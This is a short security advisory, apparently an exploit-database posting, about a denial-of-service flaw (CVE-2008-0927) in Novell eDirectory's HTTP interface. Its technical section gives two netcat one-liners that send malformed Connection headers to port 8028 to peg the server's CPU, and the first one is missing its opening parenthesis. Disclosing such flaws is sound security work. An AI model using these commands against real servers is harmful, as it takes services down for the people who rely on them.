Novell eDirectory < 8.7.3 SP 10 / 8.8.2 - HTTP headers Denial of Service

[=] Affected software :



	Editor : Novell

	Name : eDirectory

	Version : < 8.7.3 SP 10 and < 8.8.2

	Services : TCP/8028 (HTTP) and TCP/8030 (HTTPS)



[=] External references :



http://www.novell.com/support/viewContent.do?externalId=3829452&sliceId=1

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0927



[=] Technical details :



The dhost.exe process will consume 100% of a CPU. More than one request

can be used to lock every CPU.



Two "Connection:" headers : echo "GET / HTTP/1.0"; echo "Connection:

foo"; echo "Connection: bar"; echo; echo) | nc -vn 192.168.1.1 8028 



One "Connection:" header with two values : (echo "GET / HTTP/1.0"; echo

"Connection: foo, bar"; echo; echo) | nc -vn 192.168.1.1 8028



Nicob



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